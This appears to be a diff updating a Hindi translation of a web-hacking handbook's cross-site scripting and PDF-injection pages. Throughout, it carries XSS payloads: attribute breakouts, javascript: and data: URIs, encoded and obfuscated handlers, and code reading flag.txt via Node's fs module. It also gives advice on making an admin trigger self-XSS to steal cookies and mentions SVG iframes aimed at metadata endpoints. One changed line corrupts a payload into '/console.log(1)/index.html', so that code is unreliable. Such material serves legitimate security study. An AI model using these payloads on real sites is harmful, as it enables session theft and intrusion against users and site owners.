यदि आप **टैग से नहीं बच सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके जैसे (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल कोट्स का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_) :
|
||||
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है **टैग से बाहर निकलना** और [पिछले अनुभाग](#injecting-inside-raw-html) में उल्लेखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\
|
||||
यदि आप **टैग से बाहर नहीं निकल सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके जैसे कि (_ध्यान दें कि इस उदाहरण में विशेषता से बाहर निकलने के लिए डबल कोट्स का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -268,11 +268,11 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
||||
### Within the attribute
|
||||
|
||||
यहां तक कि अगर आप **attribute से भाग नहीं सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **आपका मान किस attribute में परिलक्षित हो रहा है** और **क्या आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\
|
||||
एक और दिलचस्प **उदाहरण** है attribute `href`, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
एक और दिलचस्प **उदाहरण** है attribute `href`, जहां आप `javascript:` प्रोटोकॉल का उपयोग करके मनमाना कोड निष्पादित कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML एन्कोडिंग/URL एन्कोड का उपयोग करके इवेंट के अंदर बायपास करें**
|
||||
|
||||
HTML टैग के attributes के मान के अंदर **HTML एन्कोडेड कैरेक्टर्स** **रनटाइम पर डिकोड** होते हैं। इसलिए निम्नलिखित कुछ इस तरह मान्य होगा (पेलोड बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
HTML टैग के attributes के मान के अंदर **HTML एन्कोडेड कैरेक्टर्स** **रनटाइम पर डिकोड** होते हैं। इसलिए निम्नलिखित कुछ इस तरह से मान्य होगा (पेलोड बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
ध्यान दें कि **किसी भी प्रकार की HTML एन्कोडिंग मान्य है**:
|
||||
```javascript
|
||||
@ -295,7 +295,7 @@ HTML टैग के attributes के मान के अंदर **HTML ए
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**यूनिकोड एन्कोड का उपयोग करके इनसाइड इवेंट बायपास करें**
|
||||
**Unicode एन्कोड का उपयोग करके अंदर के इवेंट को बायपास करें**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
@ -303,7 +303,7 @@ HTML टैग के attributes के मान के अंदर **HTML ए
|
||||
```
|
||||
### विशेष प्रोटोकॉल एट्रिब्यूट के भीतर
|
||||
|
||||
यहां आप कुछ स्थानों पर प्रोटोकॉल **`javascript:`** या **`data:`** का उपयोग कर सकते हैं **मनमाना JS कोड** निष्पादित करने के लिए। कुछ को उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं।
|
||||
यहां आप कुछ स्थानों पर **`javascript:`** या **`data:`** प्रोटोकॉल का उपयोग कर सकते हैं **मनमाने JS कोड** को **निष्पादित** करने के लिए। कुछ को उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं।
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**इन स्थानों पर आप इन प्रोटोकॉल को इंजेक्ट कर सकते हैं**
|
||||
|
||||
**सामान्यतः** `javascript:` प्रोटोकॉल को **किसी भी टैग में उपयोग किया जा सकता है जो `href` विशेषता को स्वीकार करता है** और **अधिकतर** टैग में जो **`src` विशेषता को स्वीकार करते हैं** (लेकिन `<img>` में नहीं)
|
||||
**सामान्यतः** `javascript:` प्रोटोकॉल को **किसी भी टैग में उपयोग किया जा सकता है जो `href` विशेषता को स्वीकार करता है** और **अधिकतर** उन टैग्स में जो **`src` विशेषता को स्वीकार करते हैं** (लेकिन `<img>` में नहीं)
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -347,7 +347,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**अन्य ओब्फ़स्केशन ट्रिक्स**
|
||||
|
||||
_**इस मामले में, पिछले अनुभाग से HTML एन्कोडिंग और यूनिकोड एन्कोडिंग ट्रिक भी मान्य है क्योंकि आप एक विशेषता के अंदर हैं।**_
|
||||
_**इस मामले में, पिछले अनुभाग से HTML एन्कोडिंग और यूनिकोड एन्कोडिंग ट्रिक भी मान्य है क्योंकि आप एक एट्रिब्यूट के अंदर हैं।**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
[**यहां**](https://portswigger.net/research/xss-in-hidden-input-fields) से: आप एक **XSS पेलोड को एक छिपे हुए एट्रिब्यूट के अंदर निष्पादित** कर सकते हैं, बशर्ते आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की एट्रिब्यूट में एक अलग की का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
|
||||
[**यहां**](https://portswigger.net/research/xss-in-hidden-input-fields) से: आप एक **XSS पेलोड को एक छिपे हुए एट्रिब्यूट के अंदर निष्पादित** कर सकते हैं, बशर्ते आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की एट्रिब्यूट में एक अलग कुंजी का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### CSS-गैजेट्स
|
||||
|
||||
यदि आप वेब के एक **बहुत छोटे हिस्से** में **XSS** पाते हैं जो किसी प्रकार की इंटरैक्शन की आवश्यकता होती है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा की गई जगह को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
|
||||
यदि आप वेब के एक **बहुत छोटे हिस्से** में **XSS** पाते हैं जो किसी प्रकार की इंटरैक्शन की आवश्यकता होती है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व हो), तो आप उस तत्व द्वारा कब्जा की गई जगह को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
|
||||
|
||||
उदाहरण के लिए, आप तत्व में कुछ स्टाइलिंग जोड़ सकते हैं जैसे: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
## जावास्क्रिप्ट कोड के अंदर इंजेक्ट करना
|
||||
|
||||
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने जा रहा है।
|
||||
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने वाला है।
|
||||
|
||||
### \<script> टैग को एस्केप करना
|
||||
|
||||
@ -480,7 +480,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### JS कोड के अंदर
|
||||
|
||||
यदि `<>` को साफ किया जा रहा है, तो आप अभी भी **स्ट्रिंग को एस्केप** कर सकते हैं जहां आपका इनपुट **स्थित** है और **मनमाने JS को निष्पादित** कर सकते हैं। **JS सिंटैक्स को ठीक करना** महत्वपूर्ण है, क्योंकि यदि कोई त्रुटियाँ हैं, तो JS कोड निष्पादित नहीं होगा:
|
||||
यदि `<>` को साफ किया जा रहा है, तो आप अभी भी **स्ट्रिंग को एस्केप** कर सकते हैं जहां आपका इनपुट **स्थित** है और **मनमाना JS निष्पादित** कर सकते हैं। **JS सिंटैक्स को ठीक करना** महत्वपूर्ण है, क्योंकि यदि कोई त्रुटियाँ हैं, तो JS कोड निष्पादित नहीं होगा:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -488,7 +488,7 @@ onbeforetoggle="alert(2)" />
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
**स्ट्रिंग्स** को बनाने के लिए, एकल और डबल कोट्स के अलावा, JS **बैकटिक्स** **` `` `** को भी स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
|
||||
**स्ट्रिंग्स** को बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS **बैकटिक्स** **` `` `** को भी स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
|
||||
इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **रिफ्लेक्ट** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं:
|
||||
|
||||
इसका **दुरुपयोग** किया जा सकता है:
|
||||
@ -549,7 +549,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
"\t" //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**JS कोड के अंदर स्थान प्रतिस्थापन**
|
||||
**JS कोड के अंदर स्पेस प्रतिस्थापन**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**जावास्क्रिप्ट नई पंक्तियाँ (से** [**जावास्क्रिप्ट नई पंक्ति**](#javascript-new-lines) **कला)**
|
||||
**JavaScript नई पंक्तियाँ (से** [**JavaScript नई पंक्ति**](#javascript-new-lines) **कला)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -739,14 +739,14 @@ top[8680439..toString(30)](1)
|
||||
## **DOM कमजोरियाँ**
|
||||
|
||||
यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\
|
||||
**DOM कमजोरियों के विवरण के विस्तार के कारण** [**यह पृष्ठ पर स्थानांतरित किया गया है**](dom-xss.md)**:**
|
||||
**DOM कमजोरियों के विवरण के विस्तार के कारण** [**इसे इस पृष्ठ पर स्थानांतरित किया गया है**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
वहाँ आपको **यहाँ DOM कमजोरियाँ क्या हैं, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है** इसका विस्तृत **विवरण** मिलेगा।\
|
||||
इसके अलावा, यह न भूलें कि **उल्लेखित पोस्ट के अंत में** आप [**DOM Clobbering हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं।
|
||||
वहाँ आपको **यहाँ DOM कमजोरियाँ क्या हैं, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है** का विस्तृत **विवरण** मिलेगा।\
|
||||
इसके अलावा, यह न भूलें कि **उल्लिखित पोस्ट के अंत में** आप [**DOM Clobbering हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं।
|
||||
|
||||
### Self-XSS को अपग्रेड करना
|
||||
|
||||
@ -758,15 +758,15 @@ dom-xss.md
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
आप इस तकनीक का एक शानदार दुरुपयोग [**इस ब्लॉग पोस्ट में**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) पा सकते हैं।
|
||||
आप इस तकनीक का एक बड़ा दुरुपयोग [**इस ब्लॉग पोस्ट में**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) पा सकते हैं।
|
||||
|
||||
### अपने सत्र को व्यवस्थापक को भेजना
|
||||
|
||||
शायद एक उपयोगकर्ता अपने प्रोफ़ाइल को व्यवस्थापक के साथ साझा कर सकता है और यदि self XSS उपयोगकर्ता के प्रोफ़ाइल में है और व्यवस्थापक इसे एक्सेस करता है, तो वह कमजोरियों को ट्रिगर करेगा।
|
||||
शायद एक उपयोगकर्ता अपने प्रोफ़ाइल को व्यवस्थापक के साथ साझा कर सकता है और यदि self XSS उपयोगकर्ता के प्रोफ़ाइल के अंदर है और व्यवस्थापक इसे एक्सेस करता है, तो वह कमजोरियों को ट्रिगर करेगा।
|
||||
|
||||
### सत्र मिररिंग
|
||||
|
||||
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद के लिए पूछने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं उसे देखेगा लेकिन अपने सत्र से।
|
||||
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं उसे देखेगा लेकिन अपने सत्र से।
|
||||
|
||||
आप **व्यवस्थापक को आपके self XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं।
|
||||
|
||||
@ -825,9 +825,9 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
यदि आप पाते हैं कि आप **302 Redirect response में headers inject कर सकते हैं** तो आप **ब्राउज़र को मनमाना JavaScript निष्पादित करने** के लिए प्रयास कर सकते हैं। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP response body को 302 HTTP response status code होने पर नहीं समझते, इसलिए केवल एक cross-site scripting payload बेकार है।
|
||||
यदि आप पाते हैं कि आप **302 Redirect response में headers inject कर सकते हैं** तो आप **ब्राउज़र को मनमाना JavaScript निष्पादित करने** की कोशिश कर सकते हैं। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP response body को 302 HTTP response status code होने पर नहीं समझते, इसलिए केवल एक cross-site scripting payload बेकार है।
|
||||
|
||||
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस एक**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप Location header के अंदर कई प्रोटोकॉल का परीक्षण कैसे कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को body के अंदर XSS payload की जांच और निष्पादन की अनुमति देता है।\
|
||||
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस एक**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप Location header के अंदर कई प्रोटोकॉल का परीक्षण कैसे कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को XSS payload को body के अंदर निरीक्षण और निष्पादित करने की अनुमति देता है।\
|
||||
पिछले ज्ञात प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली Location header_, `resource://`।
|
||||
|
||||
### केवल अक्षर, संख्या और बिंदु
|
||||
@ -836,11 +836,11 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
|
||||
### XSS के लिए मान्य `<script>` Content-Types
|
||||
|
||||
(से [**यहां**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) यदि आप एक स्क्रिप्ट को **content-type** जैसे `application/octet-stream` के साथ लोड करने का प्रयास करते हैं, तो Chrome निम्नलिखित त्रुटि फेंकेगा:
|
||||
(से [**यहां**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) यदि आप एक स्क्रिप्ट को **content-type** जैसे `application/octet-stream` के साथ लोड करने की कोशिश करते हैं, तो Chrome निम्नलिखित त्रुटि फेंकेगा:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
केवल **Content-Type** जो Chrome को **लोड की गई स्क्रिप्ट** चलाने में सहायता करेंगे वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
केवल **Content-Type** जो Chrome को **लोड की गई स्क्रिप्ट** चलाने का समर्थन करेगा, वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -896,7 +896,7 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
इस व्यवहार का उपयोग [**इस लेख**](https://github.com/zwade/yaca/tree/master/solution) में एक पुस्तकालय को eval पर पुनः मैप करने के लिए किया गया था ताकि इसका दुरुपयोग किया जा सके, जिससे XSS ट्रिगर हो सकता है।
|
||||
इस व्यवहार का उपयोग [**इस लेख**](https://github.com/zwade/yaca/tree/master/solution) में एक पुस्तकालय को eval पर पुनः मैप करने के लिए किया गया था ताकि इसका दुरुपयोग किया जा सके, यह XSS को ट्रिगर कर सकता है।
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** यह सुविधा मुख्य रूप से प्री-रेंडरिंग के कारण उत्पन्न कुछ समस्याओं को हल करने के लिए है। यह इस तरह काम करता है:
|
||||
```html
|
||||
@ -923,7 +923,7 @@ import { partition } from "lodash"
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? सूची में नहीं लेकिन मुझे लगता है कि मैंने इसे CTF में देखा)
|
||||
- text/plain (?? सूची में नहीं है लेकिन मुझे लगता है कि मैंने इसे CTF में देखा)
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
@ -931,7 +931,7 @@ import { partition } from "lodash"
|
||||
|
||||
### xml Content Type
|
||||
|
||||
यदि पृष्ठ text/xml सामग्री प्रकार लौटाता है तो यह एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है:
|
||||
यदि पृष्ठ एक text/xml सामग्री प्रकार वापस कर रहा है तो यह एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -941,9 +941,9 @@ import { partition } from "lodash"
|
||||
```
|
||||
### विशेष प्रतिस्थापन पैटर्न
|
||||
|
||||
जब कुछ इस तरह का **`"some {{template}} data".replace("{{template}}", <user_input>)`** उपयोग किया जाता है। हमलावर [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
जब कुछ इस तरह का **`"some {{template}} data".replace("{{template}}", <user_input>)`** उपयोग किया जाता है। तो हमलावर [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
उदाहरण के लिए [**इस लेख**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में, इसका उपयोग **एक JSON स्ट्रिंग** को स्केप करने और मनमानी कोड निष्पादित करने के लिए किया गया था।
|
||||
उदाहरण के लिए [**इस लेख**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में, इसका उपयोग **एक स्क्रिप्ट के अंदर JSON स्ट्रिंग को स्केप करने** और मनमानी कोड को निष्पादित करने के लिए किया गया था।
|
||||
|
||||
### क्रोम कैश से XSS
|
||||
|
||||
@ -961,7 +961,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
|
||||
|
||||
// use of with
|
||||
with(console)log(123)
|
||||
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
|
||||
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
|
||||
// Just replace console.log(1) to the real code, the code we want to run is:
|
||||
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
|
||||
|
||||
@ -1473,7 +1473,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
|
||||
```
|
||||
### Regex - Access Hidden Content
|
||||
|
||||
[**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से यह सीखना संभव है कि भले ही कुछ मान JS से गायब हो जाएं, फिर भी उन्हें विभिन्न वस्तुओं में JS विशेषताओं में ढूंढना संभव है। उदाहरण के लिए, REGEX का एक इनपुट इसे खोजने के लिए संभव है, भले ही REGEX के इनपुट का मान हटा दिया गया हो:
|
||||
[**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से यह सीखना संभव है कि भले ही कुछ मान JS से गायब हो जाएं, फिर भी उन्हें विभिन्न वस्तुओं में JS विशेषताओं में ढूंढना संभव है। उदाहरण के लिए, REGEX का एक इनपुट इसे ढूंढना अभी भी संभव है जब REGEX के इनपुट का मान हटा दिया गया हो:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1532,7 +1532,7 @@ pdf-injection.md
|
||||
|
||||
### Amp4Email में XSS
|
||||
|
||||
AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए, HTML टैग को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं।
|
||||
AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए, HTML टैग को JavaScript द्वारा पूरक बनाता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं।
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) प्रारूप विशिष्ट AMP घटकों को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ता अपने ईमेल के भीतर सीधे सामग्री के साथ इंटरैक्ट कर सकते हैं।
|
||||
|
||||
|
@ -12,8 +12,8 @@
|
||||
|
||||
### लोकप्रिय PDF निर्माण
|
||||
|
||||
- **wkhtmltopdf** HTML और CSS को PDF दस्तावेजों में परिवर्तित करने की अपनी क्षमता के लिए जाना जाता है, जो WebKit रेंडरिंग इंजन का उपयोग करता है। यह उपकरण एक ओपन-सोर्स कमांड लाइन उपयोगिता के रूप में उपलब्ध है, जो इसे विभिन्न अनुप्रयोगों के लिए सुलभ बनाता है।
|
||||
- **TCPDF** PDF निर्माण के लिए PHP पारिस्थितिकी तंत्र में एक मजबूत समाधान प्रदान करता है। यह चित्रों, ग्राफिक्स और एन्क्रिप्शन को संभालने में सक्षम है, जो जटिल दस्तावेज़ बनाने के लिए इसकी बहुपरकारीता को दर्शाता है।
|
||||
- **wkhtmltopdf** HTML और CSS को PDF दस्तावेजों में परिवर्तित करने की अपनी क्षमता के लिए जाना जाता है, जो WebKit रेंडरिंग इंजन का उपयोग करता है। यह उपकरण एक ओपन-सोर्स कमांड लाइन उपयोगिता के रूप में उपलब्ध है, जो इसे विभिन्न प्रकार के अनुप्रयोगों के लिए सुलभ बनाता है।
|
||||
- **TCPDF** PDF निर्माण के लिए PHP पारिस्थितिकी तंत्र के भीतर एक मजबूत समाधान प्रदान करता है। यह चित्रों, ग्राफिक्स और एन्क्रिप्शन को संभालने में सक्षम है, जो जटिल दस्तावेज़ बनाने के लिए इसकी बहुपरकारीता को दर्शाता है।
|
||||
- जो लोग Node.js वातावरण में काम कर रहे हैं, उनके लिए **PDFKit** एक व्यवहार्य विकल्प प्रस्तुत करता है। यह HTML और CSS से सीधे PDF दस्तावेज़ों का निर्माण करने की अनुमति देता है, जो वेब सामग्री और प्रिंट करने योग्य प्रारूपों के बीच एक पुल प्रदान करता है।
|
||||
- जावा डेवलपर्स **iText** को प्राथमिकता दे सकते हैं, एक पुस्तकालय जो न केवल PDF निर्माण को सुविधाजनक बनाता है बल्कि डिजिटल हस्ताक्षरों और फॉर्म भरने जैसी उन्नत सुविधाओं का भी समर्थन करता है। इसकी व्यापक विशेषताओं का सेट इसे सुरक्षित और इंटरैक्टिव दस्तावेज़ बनाने के लिए उपयुक्त बनाता है।
|
||||
- **FPDF** एक और PHP पुस्तकालय है, जो अपनी सरलता और उपयोग में आसानी के लिए जाना जाता है। यह उन डेवलपर्स के लिए डिज़ाइन किया गया है जो PDF निर्माण के लिए एक सीधी दृष्टिकोण की तलाश कर रहे हैं, बिना विस्तृत सुविधाओं की आवश्यकता के।
|
||||
@ -35,7 +35,7 @@
|
||||
```
|
||||
### SVG
|
||||
|
||||
इस SVG पेलोड के अंदर पिछले या निम्नलिखित पेलोड में से कोई भी उपयोग किया जा सकता है। एक iframe जो Burpcollab उपडोमेन को एक्सेस करता है और दूसरा जो मेटाडेटा एंडपॉइंट को एक्सेस करता है, उदाहरण के रूप में दिए गए हैं।
|
||||
इस SVG payload के अंदर पिछले या निम्नलिखित payloads में से कोई भी उपयोग किया जा सकता है। एक iframe जो Burpcollab उपडोमेन को एक्सेस करता है और दूसरा जो मेटाडेटा एंडपॉइंट को एक्सेस करता है, उदाहरण के रूप में दिए गए हैं।
|
||||
```markup
|
||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||
<g>
|
||||
